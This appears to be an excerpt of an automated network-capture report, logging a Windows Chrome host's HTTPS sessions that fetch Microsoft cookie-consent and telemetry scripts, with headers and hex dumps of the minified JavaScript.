2024-11-20 12:27:52 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-20 12:27:52 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-20 12:27:52 UTC	711	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-20 12:27:52 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-butto
2024-11-20 12:27:52 UTC	3567	IN	Data Raw: 28 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e Data Ascii: ("-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49744	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:27:52 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 12:27:52 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=15470 Date: Wed, 20 Nov 2024 12:27:52 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-20 12:27:52 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49745	13.107.246.45	443	2884	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:27:52 UTC	606	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Range: bytes=179328-179328 If-Range: 0x8DCEC757C1AD1D1
2024-11-20 12:27:52 UTC	896	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:27:52 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241120T122752Z-185f5d8b95c5lcmhhC1NYCsnsw0000000acg000000001bf8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-20 12:27:52 UTC	15488	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-20 12:27:52 UTC	16384	IN	Data Raw: 22 2b 74 5d 29 3f 6e 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 Data Ascii: "+t])?n(i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&
2024-11-20 12:27:52 UTC	16384	IN	Data Raw: 74 69 6f 6e 20 67 63 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 Data Ascii: tion gc(e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,fu
2024-11-20 12:27:53 UTC	16384	IN	Data Raw: 29 2c 68 28 29 2c 6d 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f Data Ascii: ),h(),m(e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reaso
2024-11-20 12:27:53 UTC	16384	IN	Data Raw: 28 7b 4e 6f 72 6d 61 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 Data Ascii: ({Normal:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}ret
2024-11-20 12:27:53 UTC	16384	IN	Data Raw: 28 6f 2c 22 41 75 74 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 Data Ascii: (o,"Auto track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=fu
2024-11-20 12:27:53 UTC	16384	IN	Data Raw: 63 6f 6e 66 69 67 2e 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 Data Ascii: config.coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._s
2024-11-20 12:27:53 UTC	16384	IN	Data Raw: 65 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 Data Ascii: e)return!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t
2024-11-20 12:27:53 UTC	16384	IN	Data Raw: 67 3d 22 57 65 62 41 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 Data Ascii: g="WebAuthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split"
2024-11-20 12:27:53 UTC	16384	IN	Data Raw: 61 28 65 5b 6d 76 5d 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f Data Ascii: a(e[mv])),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49750	13.107.246.45	443	2884	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:27:53 UTC	370	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 12:27:54 UTC	896	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:27:53 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241120T122753Z-1777c6cb754lv4cqhC1TEB13us00000009h000000000cbh8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T1 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-20 12:27:54 UTC	15488	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) 